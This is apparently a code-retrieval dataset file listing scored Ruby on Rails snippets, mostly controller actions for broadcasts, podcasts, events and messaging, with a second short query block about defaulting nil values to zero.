"text": "def index\n @broadcasts = Broadcast.paginate(page: params[:page],\n per_page: params[:per_page])\n .order('created_at DESC')\n end",
"title": ""
},
{
"docid": "1ed05601fb43ccf27e14d15bcfd2f00a",
"score": "0.6151365",
"text": "def broadcasts(*parameters)\n return Broadcast.find(*parameters)\n rescue ActiveResource::UnauthorizedAccess\n return nil\n rescue ActiveResource::ClientError => e\n @error = e.message\n return nil\n rescue ActiveResource::ConnectionError => e\n @error = e.message\n return nil\n rescue Errno::ECONNREFUSED => e\n @error = \"Unable to connect to #{@site}\"\n return nil\n end",
"title": ""
},
{
"docid": "11f886624443a100070f49cda81a58da",
"score": "0.600626",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recorded_broadcast }\n end\n end",
"title": ""
},
{
"docid": "231dd6d06bac1575429e2dfb4c9c0720",
"score": "0.5880673",
"text": "def set_broadcast\n @broadcast = Broadcast.find(params[:id])\n end",
"title": ""
},
{
"docid": "231dd6d06bac1575429e2dfb4c9c0720",
"score": "0.5880673",
"text": "def set_broadcast\n @broadcast = Broadcast.find(params[:id])\n end",
"title": ""
},
{
"docid": "231dd6d06bac1575429e2dfb4c9c0720",
"score": "0.5880673",
"text": "def set_broadcast\n @broadcast = Broadcast.find(params[:id])\n end",
"title": ""
},
{
"docid": "697a54b803c4b8fa57f318f72262679b",
"score": "0.5831291",
"text": "def show\n begin\n @broadcast = Broadcast.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n respond_to do |format|\n format.html { \n redirect_to(\"#{broadcasts_path}?page=1\")\n flash[:error] = \"Couldn't find the Broadcast to show.\"\n }\n format.xml { head :not_found, :status => :missing }\n format.json { head :not_found, :status => :missing }\n end\n else\n @current_page = params[:page] ||= 1\n if is_author_or_editor?(@broadcast)\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @broadcast }\n format.json { render :json => @broadcast }\n end\n else\n denied(\"You need to be an Editor to view this page\")\n end\n end\n end",
"title": ""
},
{
"docid": "2f0a535d5bf033070c550f0038e62f46",
"score": "0.57997835",
"text": "def to_xml\n PodcastsController.renderer.new(\n 'action_dispatch.request.path_parameters' => {\n controller: 'podcasts',\n action: 'show',\n id: podcast.id\n }\n ).render :show, format: :rss\n end",
"title": ""
},
{
"docid": "53caf0946e81ff1903eb0036ad776825",
"score": "0.57894236",
"text": "def new\n @broadcast = Broadcast.new\n @current_page = params[:page] ||= 1\n \n respond_to do |format|\n format.html # new.html.erb\n #format.xml { render :xml => @broadcast }\n end\n end",
"title": ""
},
{
"docid": "23b55b53888e4290a740bb9a53d1e537",
"score": "0.5779907",
"text": "def new\n @broadcast = Broadcast.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @broadcast }\n end\n end",
"title": ""
},
{
"docid": "35246e81eed3f560597f21faa8b23a4b",
"score": "0.57096064",
"text": "def set_broadcast\n @broadcast = Broadcast.find(params[:id])\n end",
"title": ""
},
{
"docid": "3e1cae39db551205d70892f3f89d40ae",
"score": "0.57005394",
"text": "def destroy\n @broadcast = Broadcast.find(params[:id])\n @broadcast.destroy\n\n respond_to do |format|\n format.html { redirect_to(broadcasts_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "cff4cf491963705a6e54055248f92ebe",
"score": "0.56542337",
"text": "def index\n @multicasts = Multicast.all\n end",
"title": ""
},
{
"docid": "182594dac3d518b9247499824858631d",
"score": "0.5592963",
"text": "def get_new_broadcasts\n newBroadcasts = []\n BroadcastMessage.all.each do |broadcast|\n if !broadcast.user_has_viewed(self.id)\n newBroadcasts << broadcast\n end\n end\n newBroadcasts\n end",
"title": ""
},
{
"docid": "f3d8b8d605aed3aa51e4a8f081050eb2",
"score": "0.55826426",
"text": "def create\n @broadcast = Broadcast.new(params[:broadcast])\n\n respond_to do |format|\n if @broadcast.save\n flash[:notice] = '新闻已创建成功!'\n format.html { redirect_to(@broadcast) }\n format.xml { render :xml => @broadcast, :status => :created, :location => @broadcast }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @broadcast.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bd5e59560a459b4bcfc07c38bd7364be",
"score": "0.5573775",
"text": "def show\n @listener = Listener.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @listener }\n end\n end",
"title": ""
},
{
"docid": "73f90ebe2f84f44f2f08fb160be059ef",
"score": "0.5547747",
"text": "def create\n @current_page = params[:page] ||= 1\n\n @broadcast = Broadcast.new(params[:broadcast])\n @broadcast.feed_type = params[:type]\n \n # Wire up broadcast with the current user (an administrator)\n # Will be an admin user (see before_filter)\n # Note the current_user is a user_detail object so we need\n # to navigate to its user object\n @broadcast.user = current_user.user\n\n # Doing the next line forces a save automatically. I want to defer this\n # until the \"if\" statement\n #current_user.user.broadcasts << @broadcast\n\n no_errors = false\n respond_to do |format|\n if @broadcast.save\n\n # Only after saving do we try and do the real broadcast. Could have been\n # done using an observer, but I wanted this to be more explicit\n results = BroadcastService.broadcast(@broadcast, params[:feeds])\n puts results[:result]\n if results[:result].length > 0\n # Something went wrong when trying to broadcast to one or more of the\n # feeds.\n @broadcast.errors.add_to_base(\"#{I18n.t('broadcasts.unable-message')}: #{results.inspect}\")\n flash[:error] = I18n.t('broadcasts.no-feeds')\n else\n flash[:notice] = \"#{I18n.t('broadcasts.saved-message')} #{I18n.t('broadcasts.broadcast-to-feeds')} #{results[:feeds].join(', ')}\"\n no_errors = true\n end\n if no_errors\n format.html { redirect_to(broadcasts_path(:page=>@current_page))}\n format.xml { render :xml => @broadcast, :status => :created, :location => @broadcast }\n format.json { render :json => broadcast, :status => :created, :location => @broadcast }\n else\n format.html { render :action => \"new\" }\n format.xml {\n # Either say it partly worked but send back the errors or else send\n # back complete failure indicator (couldn't even save)\n if results[:result]\n render :xml => @broadcast.errors, :status => :created, :location => @broadcast\n else\n render :xml => @broadcast.errors, :status => :unprocessable_entity \n end\n }\n format.xml {\n # Either say it partly worked but send back the errors or else send\n # back complete failure indicator (couldn't even save)\n if results[:result]\n render :json => @broadcast.errors, :status => :created, :location => @broadcast\n else\n render :json => @broadcast.errors, :status => :unprocessable_entity \n end\n }\n end\n end\n end\n end",
"title": ""
},
{
"docid": "31d0a9c89a57afb531f3ece9aa9cf1fa",
"score": "0.5537895",
"text": "def show\n @http_receive = HttpReceive.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @http_receive }\n end\n end",
"title": ""
},
{
"docid": "21010e8ba99fe72bc8d6edef20ca8d97",
"score": "0.5492937",
"text": "def index\n @crawler_receives = CrawlerReceive.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @crawler_receives }\n end\n end",
"title": ""
},
{
"docid": "f20c1d9a577119916fad8f46eb8103a0",
"score": "0.5491664",
"text": "def index\n @broadcaster_videos = Broadcaster::Video.all\n end",
"title": ""
},
{
"docid": "5b38d39f2702f26a508b16873398c191",
"score": "0.5490699",
"text": "def update\n @broadcast = Broadcast.find(params[:id])\n\n respond_to do |format|\n if @broadcast.update_attributes(params[:broadcast])\n flash[:notice] = '新闻已更新成功!'\n format.html { redirect_to(@broadcast) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @broadcast.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6433ac6e58d68f709d9f72293768d1bd",
"score": "0.548916",
"text": "def show\n @socket_state = SocketState.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @socket_state }\n end\n end",
"title": ""
},
{
"docid": "2f80c42f7f7c871d7c6196b9b38ec477",
"score": "0.54566085",
"text": "def index\n # @broadcaster_audios = Broadcaster::Audio.all\n @broadcaster_audios = @theme.broadcaster_audios\n\n end",
"title": ""
},
{
"docid": "e4af0ea3f241de874946f2542a5dfe09",
"score": "0.54374003",
"text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @events }\n end\n end",
"title": ""
},
{
"docid": "40865d57e657eb47ae611789ce9a81b6",
"score": "0.54232633",
"text": "def show\n @broadcast = Broadcast.find(params[:id])\n @branch_details = @broadcast.branch\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @broadcast }\n end\n end",
"title": ""
},
{
"docid": "1bbff51f65ef897a6b231ee44a795fa9",
"score": "0.5401723",
"text": "def show\n @podcast = Podcast.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml #{ render :xml => @podcast }\n end\n end",
"title": ""
},
{
"docid": "dd8d0ede080d7208b25e06b47a9125ee",
"score": "0.5387613",
"text": "def index\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sms }\n end\n end",
"title": ""
},
{
"docid": "3165934416df92168fb5f335a53bee4f",
"score": "0.53838056",
"text": "def index\n @servers = Server.beating\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @servers }\n end\n end",
"title": ""
},
{
"docid": "673457df0cd62ff5b8b0529710296ad6",
"score": "0.5379482",
"text": "def index\n @stream_items = StreamItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @stream_items }\n end\n end",
"title": ""
},
{
"docid": "c4f6b8bc3bd846048dab27cdd48f3b07",
"score": "0.53526235",
"text": "def broadcast\n end",
"title": ""
},
{
"docid": "035d95570254a2cbbde4b4dafbc9e024",
"score": "0.5351583",
"text": "def broadcast_example_b1\n end",
"title": ""
},
{
"docid": "41fa3b3265e0fdb212d8f91d3974f558",
"score": "0.5349717",
"text": "def index\n @receiving_items = ReceivingItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @receiving_items }\n end\n end",
"title": ""
},
{
"docid": "48c15bd4150bcc3df3c0b690ec8553a9",
"score": "0.53344095",
"text": "def broadcast_info\n\n @total_subs = 0\n\n # Get the current App\n @app = MailfunnelsUtil.get_app\n\n # Get the Batch Email Job\n @broadcast = BatchEmailJob.find(params[:id])\n\n\n # Get All Email Lists for Broadcast\n @lists = BroadcastList.where(batch_email_job_id: @broadcast.id)\n\n\n # Get All Opened Emails\n @opened = EmailJob.where(app_id: @app.id, batch_email_job_id: @broadcast.id, opened: 1).size\n\n # Get all Clicked Emails\n @clicked = EmailJob.where(app_id: @app.id, batch_email_job_id: @broadcast.id, clicked: 1).size\n\n\n # Get All Sent Emails\n @sent = EmailJob.where(app_id: @app.id, batch_email_job_id: @broadcast.id, sent: 1).size\n\n # Get All Subscribers\n\n @subscribers = 0\n\n @lists.each do |list|\n\n @subscribers += EmailListSubscriber.where(app_id: @app.id, email_list_id: list.email_list_id).size\n\n end\n\n end",
"title": ""
},
{
"docid": "fcc4f18b8b3f57b1c81824d52973ad82",
"score": "0.5330173",
"text": "def index\n @broadcaster_social_entries = Broadcaster::SocialEntry.all\n end",
"title": ""
},
{
"docid": "0c6d1eea6675ac6808a7cc14ba920a65",
"score": "0.53270257",
"text": "def destroy\n @broadcast = Broadcast.find(params[:id])\n @broadcast.destroy\n\n respond_to do |format|\n format.html { redirect_to broadcasts_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "100eebf2ceacd4c93d6b300e4384b0d1",
"score": "0.53244746",
"text": "def set_broadcast\n @broadcast = current_user.broadcasts.find(params[:id])\n end",
"title": ""
},
{
"docid": "2b5199ac74caa9a4d1fd3e285c8f9308",
"score": "0.5317237",
"text": "def index\n @subscribers = Subscriber.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @subscribers }\n end\n end",
"title": ""
},
{
"docid": "fcf147f6fd3fe1f65aac7a31357ead87",
"score": "0.52985775",
"text": "def broadcast_messages\n @info = ['Gol', 'Zmiana','Żółta Kartka','Druga Żółta Kartka','Czerwona Kartka',]\n end",
"title": ""
},
{
"docid": "ce0d86a8117e9de261725fc112034b86",
"score": "0.5288817",
"text": "def index\n @click_to_talks = ClickToTalk.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @click_to_talks }\n end\n end",
"title": ""
},
{
"docid": "fca4d4969a54b345ba090ec1d7e1d784",
"score": "0.52874875",
"text": "def get_xml\n response = @api.request(:get, @location, type: 'xml')\n response.body if response.status == 200\n end",
"title": ""
},
{
"docid": "e3097c06407c94bdce901bcb64941d3b",
"score": "0.5287266",
"text": "def broadcast_search(options)\n request('/broadcastSearch', {body: {query: options[0], search: options[1], include_replay: options[2]}})\n end",
"title": ""
},
{
"docid": "7211b4f5325409c9d445fdf20bf95f52",
"score": "0.5276871",
"text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @events }\n end\n end",
"title": ""
},
{
"docid": "7211b4f5325409c9d445fdf20bf95f52",
"score": "0.5276871",
"text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @events }\n end\n end",
"title": ""
},
{
"docid": "7211b4f5325409c9d445fdf20bf95f52",
"score": "0.5276871",
"text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @events }\n end\n end",
"title": ""
},
{
"docid": "7211b4f5325409c9d445fdf20bf95f52",
"score": "0.5276871",
"text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @events }\n end\n end",
"title": ""
},
{
"docid": "0c5373c3bd0800d374883c90bb8260a1",
"score": "0.527557",
"text": "def show\n @sms = Sms.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sms }\n end\n end",
"title": ""
},
{
"docid": "42a6016c7e154457ed274f5eebf7b68f",
"score": "0.5273617",
"text": "def show\n @wall_message = WallMessage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @wall_message }\n end\n end",
"title": ""
},
{
"docid": "d8488c1d15cdc015a962f4cb9b8e431f",
"score": "0.5273333",
"text": "def show\n @polling_station = PollingStation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @polling_station }\n end\n end",
"title": ""
},
{
"docid": "2ed146c81a753b2fdbf974b7a7966b0b",
"score": "0.5272502",
"text": "def destroy\n @broadcast.destroy\n respond_to do |format|\n format.html {redirect_to broadcasts_url}\n format.json {head :no_content}\n end\n end",
"title": ""
},
{
"docid": "091efa9fec60d7d75cc1659507be46ca",
"score": "0.5259288",
"text": "def show\n @outgoing_sms_number_group = OutgoingSmsNumberGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @outgoing_sms_number_group }\n end\n end",
"title": ""
},
{
"docid": "ca55f68921a309103bbf65a3e5045a6f",
"score": "0.5257561",
"text": "def rss\n @events = Post.find(:all, {:conditions=> \"status=public\"},:order => \"id DESC\")\n render :layout => false\n headers[\"Content-Type\"] = \"application/xml; charset=utf-8\"\n end",
"title": ""
},
{
"docid": "33b68742ba6af54e550f27a3de2ba62c",
"score": "0.5252906",
"text": "def show\n @send_message = SendMessage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @send_message }\n end\n end",
"title": ""
},
{
"docid": "8e66b0983820070b66467f275a5b0aa8",
"score": "0.52463627",
"text": "def show\n @mail_server = MailServer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @mail_server }\n end\n end",
"title": ""
},
{
"docid": "30019ead90e35e57493f1f0f04078397",
"score": "0.52450734",
"text": "def index\n @friend_requests = FriendRequest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @friend_requests }\n end\n end",
"title": ""
},
{
"docid": "c68c9634ed3b27f6077210a4eec94153",
"score": "0.5243265",
"text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html\n format.json\n format.rss { render :layout => false }\n end\n end",
"title": ""
},
{
"docid": "6a7f3c670998b12fd8652bfd25b1b11b",
"score": "0.5242191",
"text": "def show\n @podcast = Podcast.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @podcast }\n end\n end",
"title": ""
},
{
"docid": "cfe79e93d0e7461d8ed6197b23f55cc7",
"score": "0.5241757",
"text": "def each_broadcast url, doc=download(url)\n # $stderr.puts \"#{self.class}.each_broadcast #{url}\"\n begin\n day_node = doc.at_css('#col-left h1')\n day_match = /\\s+(\\d+)\\.(\\d+)\\.(\\d+)/.match day_node.text\n raise \"Cannot parse day '#{day_node}'\" if day_match.nil?\n day = day_match[1]\n month = day_match[2]\n year = day_match[3].to_i\n year += 2000 if year < 1000\n doc.css('#col-left .item').each do |bc_node|\n time_node = bc_node.at_css('.time')\n next if time_node.nil?\n time_match = /(\\d+):(\\d+)/.match time_node.text\n raise \"Cannot parse time '#{time_node}'\" if time_match.nil?\n\n title_node = bc_node.at_css('.descr a')\n title = Scraper.clean( title_node.text )\n title_href = title_node[:href]\n title_node.remove\n\n schedule_node = bc_node.at_css('.bold')\n schedule_match = /\\s+bis\\s+(\\d+)\\s+Uhr/.match schedule_node.text\n raise \"Cannot parse schedule '#{schedule_node}'\" if schedule_match.nil?\n schedule_node.remove\n\n bc = Broadcast.new( station, Time.local(year,month,day,time_match[1],time_match[2],0), title, url + title_href )\n bc.DC_title_series = Scraper.clean( bc_node.text )\n yield bc\n end\n doc\n rescue Exception => e\n $stderr.puts \"Exception #{e} #{e.backtrace.join(\"\\n\")}\"\n end\n end",
"title": ""
},
{
"docid": "67c321d07f8f97e2e570e63c25906bba",
"score": "0.5240276",
"text": "def create\n @broadcast = Broadcast.new(broadcast_params)\n\n respond_to do |format|\n if @broadcast.save\n format.html { redirect_to @broadcast, notice: \"Broadcast was successfully created.\" }\n format.json { render :show, status: :created, location: @broadcast }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @broadcast.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "18cf3cabe22dcdbf52cf4768e0836dff",
"score": "0.52364004",
"text": "def index\n @mail_servers = MailServer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @mail_servers }\n end\n end",
"title": ""
},
{
"docid": "2036c1c367b3317ec1d76690acd0cb72",
"score": "0.52335155",
"text": "def index\n @events = Event.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @events }\n end\n end",
"title": ""
},
{
"docid": "da608cf827687a1645b8282a3f9af2d0",
"score": "0.52314055",
"text": "def index\n @friend_requests = FriendRequest.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @friend_requests }\n end\n end",
"title": ""
},
{
"docid": "8486170a8f5531f412a7def4ec83b34d",
"score": "0.5228718",
"text": "def broadcast(type)\n redis.publish(ALL, {\n from: @cluster.id,\n type: type,\n time: Time.now.to_i\n }.to_json)\n end",
"title": ""
},
{
"docid": "b7b6db148670d61db234c91ac9d6b286",
"score": "0.52209616",
"text": "def index\n @friend_invites = FriendInvite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @friend_invites }\n end\n end",
"title": ""
},
{
"docid": "950fb8b671b17ac05fb0d817540763e2",
"score": "0.5220777",
"text": "def api_xml(path,method=:get,options={})\n xml_message(amee,\"/data\"+path,method,options)\n end",
"title": ""
},
{
"docid": "274cd9476d3db3256d5c300593fd4732",
"score": "0.52136564",
"text": "def show\n @reminder = Reminder.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @reminder.to_xml }\n end\n end",
"title": ""
},
{
"docid": "446bfa3045b56c35130d91acc8b3a834",
"score": "0.52127326",
"text": "def ping\n @status = Status.find(:first)\n respond_to do |format|\n format.html\n format.xml { render :xml => @status }\n end \n end",
"title": ""
},
{
"docid": "93e20b29ec425ac941d59b7500ca2d51",
"score": "0.52078855",
"text": "def show\n @crawler_receive = CrawlerReceive.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @crawler_receive }\n end\n end",
"title": ""
},
{
"docid": "7e7950102f524499a81d97a6bfef8a96",
"score": "0.52027255",
"text": "def index\n @notifiers = Notifier.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @notifiers }\n end\n end",
"title": ""
},
{
"docid": "eefd0eabce1c35ab260f8c85187ac073",
"score": "0.51985836",
"text": "def set_broadcast_event\n @broadcast_event = BroadcastEvent.find(params[:id])\n end",
"title": ""
},
{
"docid": "e9458f66b65a3925bc6f2742b4031692",
"score": "0.5195526",
"text": "def route_xml(route_id, query_params = nil)\n get(\"/routes/#{route_id}/xml\", query_params)\n end",
"title": ""
},
{
"docid": "fd9ff3532876e63492a04b727b9eb13d",
"score": "0.51923937",
"text": "def index\n @schedules = Schedule.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @schedules }\n end\n end",
"title": ""
},
{
"docid": "197c6a642a5404681ee2ef5e90d70003",
"score": "0.51838887",
"text": "def index\n @frommessages = Frommessage.find(:all, :conditions => \"from_id = '#{current_user.id}'\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @frommessages }\n end\n end",
"title": ""
},
{
"docid": "06fcbf67275ca91a6ddedbadf5f351c9",
"score": "0.518355",
"text": "def friend_feed(options={})\n get('/feed', options)\n end",
"title": ""
},
{
"docid": "700e79ee44ba8063d94b9c008330bcee",
"score": "0.5182714",
"text": "def get_notifications\n @notifications = Broadcast.joins(:feeds).where(feeds: {name: \"notification\"}).order(created_at: :desc).limit(20)\n end",
"title": ""
},
{
"docid": "9dba79a1faadda574d16a163d4228817",
"score": "0.5178273",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @notifier }\n end\n end",
"title": ""
},
{
"docid": "31041638192db33a9696911427c7e625",
"score": "0.51713514",
"text": "def index\n @chat_rooms = ChatRoom.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @chat_rooms }\n end\n end",
"title": ""
},
{
"docid": "35c2857369777d8d075129ba78e5180d",
"score": "0.51582474",
"text": "def rss\n @event = Event.find_by_key(params['id'])\n @histories = @event.histories(:order => 'created_at DESC')\n render :layout => false\n response.headers[\"Content-Type\"] = \"application/xml; charset=utf-8\"\n end",
"title": ""
},
{
"docid": "071f8605b8498fc2d8a9fb65e34a5ac3",
"score": "0.5146875",
"text": "def show\n @meeting = Meeting.find(params[:id])\n\n respond_to do |format|\n format.xml { render :xml => @meeting }\n end\n end",
"title": ""
},
{
"docid": "9139982e35855c8d2830b0e4eaf041da",
"score": "0.51412874",
"text": "def show\n @bus_service = BusService.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bus_service }\n end\n end",
"title": ""
},
{
"docid": "31c4588efba1f5b0c192de9af7f36996",
"score": "0.51359206",
"text": "def index\n @call_boxes = CallBox.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @call_boxes }\n end\n end",
"title": ""
},
{
"docid": "771b7b17c84805942d83415c54deb1af",
"score": "0.51302856",
"text": "def broadcast(&block)\n # Use hijack to handle sockets\n hijack do |tubesock|\n begin\n # Assuming restful controllers, the behavior of\n # this method has to change depending on the action\n # it's being used in\n case action_name\n\n # If the controller action is 'index', a collection\n # of records should be broadcast\n when 'index'\n execute_action(tubesock, block)\n\n # The following code will run if an instance\n # variable with the plural resource name has been\n # assigned in yield. For example, if a\n # TacosController's index action looked something\n # like this:\n\n # def index\n # broadcast do\n # @tacos = Taco.all\n # end\n # end\n\n # ...then @tacos will be broadcast to all connected\n # clients. The variable name, in this example,\n # has to be \"@tacos\"\n if collection\n redis_thread = Thread.new do\n redis.subscribe channel do |on|\n # Broadcast messages to all connected clients\n on.message do |channel, message|\n tubesock.send_data message\n end\n\n # Send message to whoever just subscribed\n tubesock.send_data({\n resources: collection\n }.to_json)\n\n close_db_connection\n end\n end\n\n # When client disconnects, kill the thread\n tubesock.onclose do\n redis_thread.kill\n end\n end\n\n # If the controller's action name is 'show', a single record\n # should be broadcast\n when 'show'\n execute_action(tubesock, block)\n\n # The following code will run if an instance variable\n # with the singular resource name has been assigned in\n # yield. For example, if a TacosController's show action\n # looked something like this:\n\n # def show\n # broadcast do\n # @taco = Taco.find(params[:id])\n # end\n # end\n\n # ...then @taco will be broadcast to all connected clients.\n # The variable name, in this example, has to be \"@taco\"\n if member\n redis_thread = Thread.new do\n redis.subscribe channel do |on|\n # Broadcast messages to all connected clients\n on.message do |channel, message|\n tubesock.send_data message\n end\n\n # Send message to whoever just subscribed\n tubesock.send_data({\n resource: member\n }.to_json)\n\n close_db_connection\n end\n end\n\n # When client disconnects, kill the thread\n tubesock.onclose do\n redis_thread.kill\n end\n end\n\n # If the controller's action name is 'create', a record should be\n # created. Before yielding, the params hash has to be prepared\n # with attributes sent to the socket. The actual publishing\n # happens in the model's callback\n when 'create'\n tubesock.onmessage do |m|\n set_resource_params(m)\n execute_action(tubesock, block)\n\n # Send resource that was just created back to client. The resource\n # on the client will be overridden with this one. This is important\n # so that the id, created_at and updated_at and possibly other\n # attributes arrive on the client\n if member\n tubesock.send_data({\n resource: member\n }.to_json)\n end\n\n close_db_connection\n end\n\n # If the controller's action name is 'update', a record should be\n # updated. Before yielding, the params hash has to be prepared\n # with attributes sent to the socket\n when 'update'\n tubesock.onmessage do |m|\n set_resource_params(m)\n execute_action(tubesock, block)\n\n # Send resource that was just updated back to client. The resource\n # on the client will be overridden with this one. This is important\n # so that the new updated_at and possibly other attributes arrive\n # on the client\n if member\n tubesock.send_data({\n resource: member\n }.to_json)\n end\n\n close_db_connection\n end\n\n when 'destroy'\n tubesock.onmessage do |m|\n execute_action(tubesock, block)\n\n # Send resource that was just destroyed back to client\n if member\n tubesock.send_data({\n resource: member\n }.to_json)\n end\n\n close_db_connection\n end\n\n # For every other controller action, simply wrap whatever is\n # yielded in the tubesock block to execute it in the context\n # of the socket. Other custom actions can be added through this\n else\n tubesock.onmessage do |m|\n # If message was sent, attach to params (rescue exception if\n # message not valid JSON or message not present)\n params.merge!(JSON.parse(m)) rescue nil\n\n execute_action(tubesock, block)\n\n close_db_connection\n end\n end\n rescue Exception => e\n Rails.logger.error e\n close_db_connection\n end\n end\n end",
"title": ""
},
{
"docid": "0ceb882144f9bc57a39372f7aa7b49da",
"score": "0.51277685",
"text": "def show\n @friendship_sent_request = FriendshipSentRequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @friendship_sent_request }\n end\n end",
"title": ""
},
{
"docid": "b0b7110a549171999b8e43e354153154",
"score": "0.5122007",
"text": "def index\n @devices = Device.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @devices }\n end\n end",
"title": ""
},
{
"docid": "dfd45b41c8db80882846275052142cab",
"score": "0.5121144",
"text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pushes }\n end\n end",
"title": ""
},
{
"docid": "2c2743c2e5fd68a3296b99570eaa31c8",
"score": "0.5118062",
"text": "def setup_broadcast_socket\n set_sock_opt(Socket::SOL_SOCKET, Socket::SO_BROADCAST, true)\n end",
"title": ""
},
{
"docid": "bbdb2b75d5919c54b6158f346c638eff",
"score": "0.5117457",
"text": "def show\n @pushable = Push.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @push }\n end\n end",
"title": ""
},
{
"docid": "7b4d84b560c97b418ae77d4b5933d1bd",
"score": "0.511534",
"text": "def index\n @podcasts = Podcast.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @podcasts }\n format.rss { render :layout => false }\n end\n end",
"title": ""
},
{
"docid": "6020e5c3ad89286bf3898b1bc53fe59a",
"score": "0.5113108",
"text": "def show\n @discovery = Discovery.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @discovery }\n end\n end",
"title": ""
},
{
"docid": "b70a3062a6e0abc4386739caca670567",
"score": "0.5111785",
"text": "def show\n @server = Server.find params[:id]\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @server }\n end\n end",
"title": ""
},
{
"docid": "8c63b81dbc1e33d34762ff8d37cd9c94",
"score": "0.510055",
"text": "def index\n @invite_requests = InviteRequest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invite_requests }\n end\n end",
"title": ""
}
] |
29075f856578f60d301bb17a7c13a89b | assign 0 if the input is nil or empty | [
{
"docid": "03bffc3847e8852e2b52bc16fd8ec58a",
"score": "0.0",
"text": "def assign(match_string)\n !match_string.blank? ? match_string : 0\n end",
"title": ""
}
] | [
{
"docid": "bdae7f1451845a364fcb575ce3233cb5",
"score": "0.7258513",
"text": "def zero?; end",
"title": ""
},
{
"docid": "bdae7f1451845a364fcb575ce3233cb5",
"score": "0.7258513",
"text": "def zero?; end",
"title": ""
},
{
"docid": "743c782288c1d151c2fcb75a040c50b2",
"score": "0.724924",
"text": "def get_value(item)\n item.nil? || item.length == 0 ? 0 : item.to_i\nend",
"title": ""
},
{
"docid": "902eac004d4c4619ba94217afc7f0d40",
"score": "0.70411295",
"text": "def parse_or_nil(value)\n if value.nil? || value.to_i == 0 then nil else value.to_i end\n end",
"title": ""
},
{
"docid": "d91b80e7ab657e7d85fe01620c1b5bf2",
"score": "0.69135803",
"text": "def check_for_null_replace_with_zero(value)\n if value.nil?\n value = 0\n end\n return value\nend",
"title": ""
},
{
"docid": "2bf4ae38e73bc0a6b38ac81af4220a92",
"score": "0.68494815",
"text": "def zero?(*) end",
"title": ""
},
{
"docid": "8b0e5a2f47ee0f03302e7a9e6185bdd4",
"score": "0.68322307",
"text": "def or_zero(value)\n value.presence || 0\n end",
"title": ""
},
{
"docid": "8ea12c7081d51c7c9542892015b82099",
